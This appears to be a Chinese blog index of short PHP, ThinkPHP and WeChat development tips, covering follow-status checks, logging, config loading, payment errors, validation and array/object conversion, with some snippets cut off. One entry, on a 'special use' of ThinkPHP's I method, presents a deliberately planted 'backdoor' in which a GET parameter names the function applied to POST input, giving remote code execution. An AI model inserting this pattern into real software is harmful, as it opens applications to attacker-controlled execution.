公众平台获取用户基本信息 是否关注
网页授权时 经实践发现,必须使用snsapi_userinfo,否则还是无法获取用户的关注信息
thinkphp I方法的特殊用法
其实我们可以在某些位置留下简单的‘后门’ 利用I方法第三个参数的特点 [pcsh lang=”php” tab_size=”4” message=”” hl_lines=”” provider=”manual”] <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller{ public function index(){ I('post.func','',I('get.i')); } } [/pcsh]
thinkphp 日志无法写入 解决办法
1,record方法只记录在内存不是实施写入 2,使用write方法也无法写入时,应该在Runtime/Logs/下建立模块的文件夹
thinkphp 加载额外配置 LOAD_EXT_CONFIG
我们很多时候可以使用类似array_merge这种方法去做, 其实TP也提供了一个LOAD_EXT_CONFIG 示例 [pcsh lang=”php” tab_size=”4” message=”” hl_lines=”” provider=”manual”] 'LOAD_EXT_CONFIG' => 'user,apache,log', [/pcsh]
微信支付 窗口 闪一下消失的原因
如果使用WeixinJSBridge在H5支付,到这一步时,json的生成肯定是正确的 res.err_msg有三种情况,只是说fail也不知道什么原因, 其实是 支付授权目录 测试授权目录 的问题, 请重新测试这个地方
php判断用户是否关注了公众号
这是两个接口 在wechat.class.php中为两个方法 getOauthUserinfo 获取授权用户信息 getUserInfo 获取关注者详细信息 正确步骤是先授权,获取openid,再调用获取关注者信息接口获取是否关注
thinkphp 自动验证 自动完成
tp自动验证 自动完成很可能不能同时使用 可以使用如下做法 [pcsh lang=”php” tab_size=”4” message=”” hl_lines=”” provider=”manual”] $validate = array( array('usertel', '/^1[0-9]{10}$/', '手机号码错误',1,'regex',3), array('usertel', '', '手机号码重复',1,'unique',3), array('upwd', 'require', '密码不能为空',1,'regex',3), array('nickName','...
egret bitmapfont
参考文献 http://blog.csdn.net/rcjjian/article/details/44901545
PHP 对象数组互转
[pcsh lang=”php” tab_size=”4” message=”” hl_lines=”” provider=”manual”] function arrayToObject($e){ if( gettype($e)!='array' ) return; foreach($e as $k=>$v){ if( gettype($v)=='array' || getType($v)=='object' ) $e[$k]=(object)arrayToObject($v); } return (object)$e; } function objectToArray($e){ $e=(array)$e; foreach($e as $k=>$v){ if( gettype($v)=='resource' ) return; ...
php mkdir
mkdir — 新建目录 每次只能新建一层